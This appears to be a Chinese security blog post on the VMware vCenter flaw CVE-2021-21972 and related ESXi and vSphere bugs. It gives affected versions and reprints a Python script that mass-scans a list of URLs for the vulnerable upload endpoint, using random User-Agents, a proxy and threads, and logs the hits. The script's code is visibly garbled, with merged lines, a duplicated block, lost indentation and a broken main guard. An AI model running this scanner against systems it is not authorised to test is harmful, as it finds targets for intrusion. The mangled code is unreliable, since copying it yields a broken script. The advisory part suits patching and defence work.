选择你喜欢的标签
我们会为你匹配适合你的网址导航

    确认 跳过

    跳过将删除所有初始化信息

    Vmware vcenter未授权任意文件上传

    安全 2021-11-29 14:06

    声明:该文章由作者(叶辰)发表,转载此文章须经作者同意并请附上出处(0XUCN)及本页链接。。

    描述

    2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。VMware vCenter Server是美国威睿(VMware)公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台,可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行

    具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server(7.0 U1c之前的7.x,6.7 U3l之前的6.7和6.5 U3n之前的6.5)和VMware Cloud Foundation(4.2.3之前的4.x和3.10.1.2之前的3.x)。

    此外,VMware还修复了VMware ESXi中一个重要的堆溢出漏洞(CVE-2021-21974)与VMware vSphere中的一个SSRF漏洞(CVE-2021-21973)。

    据了解

    在 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 中,攻击者可直接通过443端口构造恶意请求,执行任意代码,控制vCenter。

    在 CVE-2021-21974 VMware ESXI 堆溢出漏洞 中,攻击者可通过427端口构造恶意请求,触发OpenSLP服务中的堆溢出漏洞,并可能导致远程代码执行。

    在 CVE-2021-21973 VMware vCenter Server SSRF漏洞 中,攻击者可通过443端口发送恶意POST请求,发起内网扫描,造成SSRF漏洞。

    影响版本

    VMware vCenter Server 7.0系列 < 7.0.U1c

    VMware vCenter Server 6.7系列 < 6.7.U3l

    VMware vCenter Server 6.5系列 < 6.5 U3n

    VMware ESXi 7.0系列 < ESXi70U1c-17325551

    VMware ESXi 6.7系列 < ESXi670-202102401-SG

    VMware ESXi 6.5系列 < ESXi650-202102101-SG

    验证POC

    使用https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC脚本批量验证

    import threadpool
    import random
    import requests
    import argparse
    import http.client
    import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    http.client.HTTPConnection._http_vsn = 10
    http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
    '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
    '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua
    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua
    def CVE_2021_21972(url):
    proxies = {"scoks5": "http://127.0.0.1:1081"}
    headers = {
    'User-Agent': get_ua(),
    "Content-Type": "application/x-www-form-urlencoded"
    }
    targetUrl = url + TARGET_URI
    try:
    res = requests.get(targetUrl,
    headers=headers,
    timeout=15,
    verify=False,
    proxies=proxies)
    # proxies={'socks5': 'http://127.0.0.1:1081'})
    # print(len(res.text))
    if res.status_code == 405:
    print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
    # print("[+] Command success result: " + res.text + "\n")
    with open("存在漏洞地址.txt", 'a') as fw:
    fw.write(url + '\n')
    else:
    print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
    # except Exception as e:
    #     print(e)
    except:
    print("[-] " + url + " Request ERROR.\n")
    def multithreading(filename, pools=5):
    works = []
    with open(filename, "r") as f:
    for i in f:
    func_params = [i.rstrip("\n")]
    # func_params = [i] + [cmd]
    works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2021_21972, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
    "--url",
    help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
    "--file",
    help="Url File; Example:url.txt")
    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
    args = parser.parse_args()
    url = args.url
    # cmd = args.cmd
    file_path = args.file
    if url != None and file_path ==None:
    CVE_2021_21972(url)
    elif url == None and file_path != None:
    multithreading(file_path, 10)  # 默认15线程if name == "main":
    main()
    
    


    关注我们

    [超站]友情链接:

    四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
    关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

    图库